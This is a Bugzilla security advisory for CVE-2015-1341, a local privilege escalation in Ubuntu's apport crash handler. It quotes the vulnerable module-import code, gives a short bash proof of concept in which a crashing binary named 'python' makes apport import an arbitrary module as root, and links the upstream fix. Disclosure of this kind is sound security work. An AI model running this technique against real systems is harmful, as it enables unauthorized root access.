Bugzilla – Bug 952246
VUL-0: CVE-2015-1341: apport: Privilege escalation through Python module imports
Last modified: 2016-09-08 12:22:35 UTC
https://bugs.launchpad.net/ubuntu/%2Bsource/apport/%2Bbug/1507480 A privilege escalation was discovered in apport. Details ======= The command line of the process triggering the coredump is checked to determine if it's a script. If the interpreter is Python and the first argument is ``-m``, the method ``_python_module_path`` is called to find the path of the culprit module (``/usr/lib/python3/dist-packages/apport/report.py``):: @classmethod def _python_module_path(klass, module): '''Determine path of given Python module''' module = module.replace('/', '.') try: m = __import__(module) m except: return None [...] Any Python module in ``sys.path`` can be imported because the variable ``module`` is under control of the attacker. It should be noted that ``_python_module_path`` is called with euid=0, and apport relies on the process name to determine if the process is an interpreter. A crash of Python isn't required to reach this function: any process name starting with ``python`` and producing a core dump is enough. As an example, the following bash script triggers the bug:: #!/bin/bash cat <<EOF > python.c int main(void) { *(int *)0 = 0; return 0; } EOF gcc -o python python.c ./python -m venv.__main__ and results in the creation of a "lightweight virtual Python environment" in the root directory:: $ ./lol.sh ./lol.sh: line 8: 7665 Segmentation fault (core dumped) $ ls -l / | head -4 total 100 drw-rw---- 5 root root 4096 Sep 29 16:09 7665 drwxr-xr-x 2 root root 4096 Sep 29 05:41 bin drwxr-xr-x 3 root root 4096 Sep 29 06:20 boot Criticity ========= Importing an arbitrary module is a security issue because a few standard modules rely on files in the home directory associated to the uid of the dumped process. A fully working exploit has been written (targetting Python2 and Python3), giving an instant root shell to the attacker. While the exploitation is straightforward for Python2, a bit more work was required to find a suitable module for Python3. References: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1341 http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1341.html http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1341
Upstream fix is at: http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/3021 Committer: Martin Pitt Date: 2015-10-27 13:05:47 UTC Revision ID: martin.pitt@canonical.com-20151027130547-i2gohyhrzmza4cf4 https://launchpad.net/bugs/1507480 * SECURITY FIX: When determining the path of a Python module for a program like "python -m module_name", avoid actually importing and running the module; this could lead to local root privilege escalation. Thanks to Gabriel Campana for discovering this and the fix! (CVE-2015-1341, LP: #1507480) Maintainer, please submit together with bug 947731 which is open.
bugbot adjusting priority
the maintained version 0.114 in SLE11 is too old to be affected